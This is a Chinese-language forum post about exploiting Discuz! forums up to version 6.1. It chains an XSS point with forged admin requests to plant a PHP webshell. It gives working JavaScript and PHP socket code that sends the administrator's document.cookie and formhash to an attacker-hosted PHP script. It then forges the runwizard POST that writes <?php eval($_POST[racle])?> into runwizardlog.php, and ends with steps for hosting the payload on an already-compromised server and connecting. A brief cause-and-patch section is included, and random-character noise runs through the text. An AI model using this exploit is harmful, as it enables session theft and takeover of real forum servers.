Discuz XSS得webshell
- q; [) p6 m+ t ~0 OBy racle @tian6.com
3 m+ ^+ I+ e$ b! F u. `欢迎转帖.但请保留版权信息.8 t- Z4 X& y: H
受影响版本 iscuz<=6.1.0,gbk+utf+big5: z# Q, Q( B7 T% B d* x* b
4 K1 |* u, e$ h% A5 D( q& Y' S6 M
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
, e" D' R2 `; T# V& p3 I8 g2 ^
4 j3 {) T P( w/ H: O c2 l5 \
% [* V1 _# N2 b3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
; o) L7 Q* E0 |( G当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.' N/ Z3 m0 T4 E/ p$ A
/ x1 D- ]) q+ |/ M. h7 k
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..3 v2 H# S) f% s" x/ k+ d
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
& D ~, G: b5 s3 Y5 X4 [
J4 T2 z1 v7 i, W O" G, f
9 g( h q/ ^: b----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
7 v$ \5 v+ Y) U5 j
7 _# G: k6 x X
# j7 r5 b! K5 N- m3 lproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.+ v% a2 m8 C9 T% B+ o. O. k: I0 H
, m4 v2 S) M: M) l6 a" \. E4 m
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
4 ?) O2 [% ~4 H5 W3 ^( z. w- v4 t0 O' Q8 Q% X
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
( L3 F3 i! { j) o8 ]. T# \" `
( F4 Z8 ]" s+ \4 Z+ P0 T: `( `' Z下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
9 U# Q( U; r: v l0 \% h9 c3 d
$ D5 d, ]4 y! _ global $runwizardfile, $runwizardhistory;; l' u" q% ]$ w7 U4 W! f ?9 z
z# N3 S* L1 Q: `3 v1 [
$fp = fopen($runwizardfile, 'w');) V8 p: C) J) w8 m2 k8 P1 b( P
: h7 K o. G+ z# [ @ fwrite($fp, serialize($runwizardhistory));# r+ F5 c6 j7 }7 g
; o3 \! c4 x5 v) C+ K/ a" a& }3 K fclose($fp);
# S' _$ _ A; v; |3 ^- C9 s
% Q, k9 Y+ B! E$ }, ?}1 A* E% o3 K/ c+ T4 w8 H$ X% p
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
# U2 G% F+ V( H, P! }2 r% l以下是修补的办法:function saverunwizardhistory() {% F7 K9 O* r9 M6 L$ C2 E
: V6 K8 i* |: B, }3 m
global $runwizardfile, $runwizardhistory;( g; V3 t6 B2 N4 l: `
4 }; A* `! N, y: [
$fp = fopen($runwizardfile, 'w'); ~" U4 b2 ^" Y% _2 ^ z
% j& j/ d+ {/ m# x9 O! i $s = '<?php exit;?>';
8 G0 T' r; j3 K- E0 h1 x a7 n3 @3 e) O. w/ q" c
$s .= serialize($runwizardhistory);/ z7 `# `. o8 S/ \2 q2 Z+ Z. L
) J* b1 j3 z5 ^) ?3 O q+ Y
fwrite($fp, $s);
' L9 q2 W$ G1 E/ b8 B" r( t E* d9 \0 |4 J3 O
fclose($fp);5 A$ l# |3 d$ D5 t
. K. f0 q- D% i2 N+ |& I}# A# E$ @& b# J) _
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行., g0 }- A; O9 O @1 _& K- i5 Z/ q
% C- ^. H1 f' @6 t4 ^- t" k/ g. ?5 f# J' G- D; g
8 T2 N0 @( l; B- b `
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
8 r: k& m- Z! I; n9 j! ]% E6 ~) d/ ?1 a' u2 m1 T0 a% @
+ P# G6 K3 L1 K/ ]
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
- g2 M# E" M1 g% Q* J0 [* j2 `8 R% n. w& g' u
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.$ _& P8 y, \* E8 h& E
2 e* X b/ e( m9 g+ K
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.; `# w1 _$ ?* r; v
% A" u" x0 U1 T/ W( d5 v, x x
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:5 x3 x- G- L6 a1 R
7 b) G* v( m* Hvar url="http://目标网站/admincp.php";
7 u; v+ k7 K4 Y/ ~" I( M! C+ q, L9 G& S/ C* l
/*获得cookies*/
P7 e) d3 ^ _. ~/ N3 `2 x# h* |. g$ ^: T4 O
function getURL(s) {
) o9 j6 [& s% F" E$ c' P+ v6 r+ ^! t6 ^ A8 S" L! A
var image = new Image();0 J* X" `2 p; ~- r
# P7 y9 c$ V5 M8 e0 T- eimage.style.width = 0;
* d% [& G8 H# ?/ |( {* P0 t1 {' Q0 J; C3 c! q a% o
image.style.height = 0;
" d2 ]. g a6 A; x2 u' L# k% b/ K1 \) X- J$ ?* c
image.src = s;
, M: s/ q: l, r9 W8 c* J: |2 T+ S8 F; a
}
$ w/ M& |. k( J$ O* v5 K' Q L8 u5 z6 d2 F) ]' _( P
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php, w! W+ v% h/ @* a
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
6 Z0 w0 ~$ X& t$ _, u复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) , h+ ]0 D, S; F& u: S, h
. G6 d0 I2 G, _: Z6 R4 A9 W D8 P& n5 \2 j
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
, [4 b9 |. m7 H" N+ j" U7 N8 j1 ?: `, v% o* r6 h
% f- o! W/ W/ ~: v/ A. b. [( p
% C, T, l3 @0 \5 N: g" P7 ]1 ^/*hash*// ~ o& u. [7 x
: N$ e! s1 `& G; F, [" w+ G
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");7 X, g! T. O c3 F/ T
! i& v( m0 y. t6 n$ M
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);2 ]/ C# K x( r3 _
/ t( Q. O3 j8 E% ?( Y% y5 d
xmlHttpReq.send();) }) n! u$ d0 T! T9 a0 Y- h! w
8 o1 s9 h6 g* Yvar resource = xmlHttpReq.responseText;8 t& |, g' V2 ~# S) k8 H
9 X+ Z$ ^" s) O1 xvar numero = resource.search(/formhash/);
, E% {0 d' l9 x, V7 S& W+ S6 W. j' b- X. ?& m v
var formhash=encodeURIComponent(resource.substr(numero+17,8));
0 O1 [' y, m# v6 X# f8 K) z5 ^' w0 _- c0 h8 Q5 z4 A3 a
" i5 S* i/ Y; t" O( ^8 G+ _) i. D, d# g. E2 Z2 q
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
" T0 _) D5 O) o; K, l9 \
. z4 e3 P3 P( I, ~: g5 v ixmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
! r5 e% U" ^: |3 g5 j+ m, ~) S
+ S: h8 ]8 G8 E$ BxmlHttpReq.setRequestHeader("Referer", url);
) Q2 b" { k6 G3 V. p
" f4 Z5 g5 m$ }, E0 HxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");* g& j: @1 N& @5 e! I# d- l
! F0 P+ N* X* C
xmlHttpReq.setrequestheader("content-length",post.length);
* b7 r9 x: V7 |) O. h
; g2 e) p$ x C( ^& F' pxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); + L6 d6 ^+ v! C: |+ w
. w5 m4 J! A! Y! Y
xmlHttpReq.send(post);//发送数据
% |! h0 P6 x; s' O( O7 S复制代码这里HASH我假设正确,这样提交,也无须cookies8 ?# X2 N6 n) v. l* j$ D" X
; P- _; A: M5 s. J# f4 G2 U再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);- A+ [( s4 r: \. n5 R( l
6 v7 _. P0 v% H. u3 x2 S2 ^
if (!$sock) die("$errstr ($errno)\n");5 z% V5 u% G7 Z; f9 X! U
* O7 n" n& t6 M1 z) e4 U) W$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';2 {8 y% S6 @: j4 V9 b4 Y
. u. y6 F) I" B
1 A8 W5 _) J0 G% }5 R" c' @$ b- q0 H' v- e8 |0 z0 @
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");+ e9 s, U" p+ k, _5 [
. c' Z p& K& C5 G: ?1 t: \$ ~: o5 I4 ufwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
2 ~, W+ L/ J$ z0 i; I
0 [* }0 G0 G, Rfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");+ } T6 k- d# w# b
. U* x5 I( A4 l0 h/ x0 `7 _2 J0 c3 Cfwrite($sock, "Accept-Language: zh-cn\r\n");6 `4 T0 N0 V' b6 V4 R
- K! a7 ^! Q: Q. t6 H( c: n
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");5 U! c9 a3 g8 V9 @
4 c b4 b6 D8 @# e- @4 Q
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");; Y" W5 |0 T% A, ?
+ V# j6 e9 X0 u- b0 M. wfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
0 i: C- Y) _, A& S% X2 m0 V0 N! l& K. ?' M3 e
fwrite($sock, "Host: $url\r\n");
' u# R6 M D: i/ a: B- N
9 {6 S( K1 ?% F; O* R: Rfwrite($sock, "Content-Length: ".strlen($data)."\r\n");0 \, G' L* u5 g# v
. }- b9 n5 T1 e1 L" @& ]3 B4 ~fwrite($sock, "Connection: Keep-Alive\r\n");
4 ? @2 U, r, F" v B5 S. J1 |- z7 u
fwrite($sock, "Cache-Control: no-cache\r\n");
6 C6 f/ L% g# w1 u6 u6 s7 t
! c9 N. v" P, Z' o( @& c g8 c/ Mfwrite($sock, "Cookie:".$cookies."\r\n\r\n");5 J/ L) ~. y% g/ i2 |1 A% X% e
$ V: _; R9 I0 p' T8 g0 ^fwrite($sock, $data);2 w; X! {9 ~3 }% w+ a( J
/ w7 V; n. I$ I% E# N
( p3 Y/ r( }& X! N, @& m# A
* g: G( [$ a6 R- U+ g0 D5 F2 n$headers = "";0 q$ i& i. `) `
1 u% `) S G9 p) w- Z
while ($str = trim(fgets($sock, 4096)))
/ z0 s5 ]4 t- A" n) ^6 A5 U' D! w
$headers .= "$str\n";& i+ a% r8 r/ `$ ~& u6 V
2 b" x1 l" [0 ^2 O; J0 R! T
echo "\n";
5 g: B* |, z3 V% o$ f x* R
, o" G& c& {4 D6 k2 \0 Q; j! h/ G/ _% a$body = "";' y( f. N6 x C# D n9 U0 M
& T5 \/ y7 [0 v5 R5 ]while (!feof($sock))$ r. @! s# o) P0 {
4 q: z: E! _2 d
$body .= fgets($sock, 4096); g/ O; d3 D4 J9 Y5 Z; n
* j/ v9 R5 ~1 K# @4 W) E9 N! \9 S
fclose($sock);0 r) m' Q6 o5 m7 u' L, X8 A/ ?7 J7 Z5 V
4 p$ v+ D4 ]4 [; E3 X
echo $body;
7 Z2 O$ j: Z# c6 h: W) u复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^# e0 x. g8 o" o5 p6 z. ~; D
8 m- q- h8 N* W; P3 L' w9 f" `
' k: D3 ?5 e& c0 m2 A3 G7 j
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
( d7 }- h( m5 ], f" L J+ D- b5 X! x& [# V( [7 g" ]
( H' `' S7 }- Z* T1 HP SOCKET利用方法首先打开racle.js$ ]) |6 i% R7 V
# k) N6 l2 G% Pvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home! R5 W( {9 b9 C
$ ] S9 l9 L- _2 q# n9 i1 a, n8 ~/ p; K+ I
6 u) W, W J) v$ O) l+ O: s
然后打开racle@tian6.php
, C: I7 R9 D% ]2 D( T* I) l$ U$ o5 i+ m1 ~; M2 a
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
: r+ m9 a5 _ ~4 ?* v- V# s& Z# V7 h, \2 J' ~1 _
! |' e0 T/ Z4 `' F4 x( w! n0 m
0 G3 A/ c1 k( h3 ? E如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
' F# \/ P# ` k0 W, D- m6 [1 Z7 C
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
7 I0 ]: F: }# ^- _; h4 e
( O; p* s, m4 w3 R! W% u为
+ y% m6 t! F& `; I- J/ A6 ~/ l
; ~* {7 w% b1 wgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));5 e5 X7 M; s# h5 j$ j2 p
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
* T( r. @6 d9 E
# C H4 ^6 b1 W& L& \9 {. |# F& h/ @+ M) ~$ l
! I- L7 I K( r- |
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:8 X8 x8 | w6 h- L4 L
! V2 X. u, ^6 g: E
var formhash=encodeURIComponent(resource.substr(numero+17,8));
. U w5 z7 g6 C
4 T* }" K8 i2 |' i& W% Q" t9 w为/ n, T% j) n; `! u' ~' @6 E8 A
2 C/ k* p' I: ]# q% Hvar formhash=encodeURIComponent(resource.substr(numero+9,8));
]* {& h0 \ K0 v' Q复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
4 t, Y4 r* @; ^. o- L3 w2 c
6 g- k3 }% G6 J) a) r如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.; E* ~4 M' F; e( u, \
( b1 T. p& t! B, S0 m, ]: _8 u$ p如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.! r4 N: c( A* J, Z
4 ]6 s, B0 \. \9 X i2 O; ~不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.9 z. `7 h# X! I! K5 D! F7 E* g
9 q! C; y( O- w8 O$ y7 c( Z: A0 _
|